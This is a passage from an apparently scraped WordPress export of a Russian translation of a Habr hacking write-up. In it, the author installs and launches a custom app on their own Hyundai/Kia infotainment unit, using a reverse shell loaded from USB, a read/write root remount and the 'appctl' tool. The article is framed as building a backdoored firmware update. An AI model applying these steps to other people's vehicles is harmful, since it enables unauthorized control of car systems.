\u043f\u0440\u0438\u0448\u0451\u043b:<\/p>\n<pre><code class=\"cpp\">[Application] Name=com.greenluigi1.guiExample Exec=\/appdata\/guiExample  [TestAppView] # ComponentName : com.greenluigi1.guiExample.TestAppView Type=AppView<\/code><\/pre>\n<p>  \u0422\u0430\u043a\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c com.greenluigi1.guiExample, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0435 \u0432 \/appdata\/guiExample \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u043e\u0434\u0438\u043d AppView \u0441 \u0438\u043c\u0435\u043d\u0435\u043c com.greenluigi1.guiExample.TestAppView. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e.<\/p>\n<p>  \u042f \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0435\u0433\u043e \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043d\u0430 USB-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0441\u0432\u043e\u0439 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b. \u0417\u0430\u0442\u0435\u043c \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043b root \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f\/\u0437\u0430\u043f\u0438\u0441\u0438, \u0447\u0442\u043e\u0431\u044b \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438. \u0414\u0430\u043b\u0435\u0435 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 GuiExampleApp.appconf \u0432 \u043f\u0430\u043f\u043a\u0443 \/etc\/appManager\/appconf\/, \u0430 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u2014 \u0432 \u043f\u0430\u043f\u043a\u0443 \/appdata\/.<\/p>\n<p>  \u0417\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u043f\u043e\u0434\u043e\u0436\u0434\u0430\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f IVI.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043d\u043e \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c? \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0438\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441\u0430\u043c\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442. \u041d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u0438\u043a\u0430\u0437\u0430\u0442\u044c Helix \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e.<\/p>\n<p>  \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0440\u0430\u043d\u0435\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u044f \u043d\u0430\u0448\u0451\u043b \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u043c\u0430\u0448\u0438\u043d\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 appctl, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0438\u0439 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u0443 \u0437\u0430\u0434\u0430\u0447\u0443. appctl \u2014 \u044d\u0442\u043e \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f:<\/p>\n<ul>\n<li>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c App View\/App Service<br \/> \n<ul>\n<li>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: appctl startAppView {componentName} [args\u2026]<\/li>\n<li>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: appctl startAppService {componentName} [args\u2026]<\/li>\n<\/ul>\n<p>  <\/li>\n<li>\u0417\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c App View\/App Service<br \/> \n<ul>\n<li>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: appctl finishAppView {componentName}<\/li>\n<li>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: appctl finishAppService {componentName}<\/li>\n<\/ul>\n<p>  <\/li>\n<li>\u041f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435<br \/> \n<ul>\n<li>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: appctl emitEvent {event} [args\u2026]<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>  \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u043d\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<pre><code class=\"cpp\">appctl startAppView com.greenluigi1.guiExample.TestAppView<\/code><\/pre>\n<p>  \u042f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 \u0441\u043f\u0443\u0441\u0442\u044f \u043f\u0430\u0440\u0443 \u043c\u0438\u043d\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/post_images\/381\/208\/b2e\/381208b2e649a9a2f73fa78df50c91c7.jpg\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/381\/208\/b2e\/381208b2e649a9a2f73fa78df50c91c7.jpg\" data-blurred=\"true\"\/><\/div>\n<p>  \u0411\u0438\u043d\u0433\u043e! \u041c\u043e\u0451 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041a\u043d\u043e\u043f\u043a\u0438 \u0442\u043e\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0432\u0435\u0440\u0438. \u0422\u0430\u043a\u0436\u0435 \u044f \u0441\u0434\u0430\u043c\u043f\u0438\u043b \u043b\u043e\u0433\u0438 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0443\u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u043b\u043e\u0433 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u043a\u043d\u043e\u043f\u043a\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043b\u043e\u0433\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438\u0441\u044c \u0432 \u0444\u0430\u0439\u043b Logcat.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 IVI \u043c\u043e\u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f, \u0438 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u0435 \u0435\u0449\u0451 \u043c\u043d\u043e\u0433\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u0443\u0437\u043d\u0430\u0442\u044c \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0438, \u0435\u0441\u043b\u0438 \u044f \u043d\u0430\u0439\u0434\u0443 \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u0442\u043e, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0430\u043f\u0438\u0448\u0443 \u0435\u0449\u0451 \u043f\u043e\u0441\u0442\u044b.<\/p><\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/683960\/\"> https:\/\/habr.com\/ru\/post\/683960\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\u0415\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0447\u0438\u0442\u0430\u043b\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/683248\/\">\u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c<\/a> \u0441\u0442\u0430\u0442\u044c\u0438, \u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e.<\/p>\n<h1>\u0427\u0430\u0441\u0442\u044c 2: \u0441\u043e\u0437\u0434\u0430\u0451\u043c \u0431\u044d\u043a\u0434\u043e\u0440<\/h1>\n<p>  <\/p>\n<h1>\u0425\u0432\u0430\u0442\u0438\u0442 \u0436\u0434\u0430\u0442\u044c<\/h1>\n<p>  28 \u0430\u043f\u0440\u0435\u043b\u044f 2022 \u0433\u043e\u0434\u0430 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a Display Audio \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439 Hyundai \u0438 Kia. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0434\u043b\u044f \u043c\u043e\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u044b.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/0d2\/fb3\/569\/0d2fb3569af7c01d1c4b2e65298e4fa0.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/0d2\/fb3\/569\/0d2fb3569af7c01d1c4b2e65298e4fa0.png\"\/><\/div>\n<p>  \u042f \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u0440\u0438\u043d\u044f\u043b\u0441\u044f \u0437\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-337427","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/337427","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=337427"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/337427\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=337427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=337427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=337427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}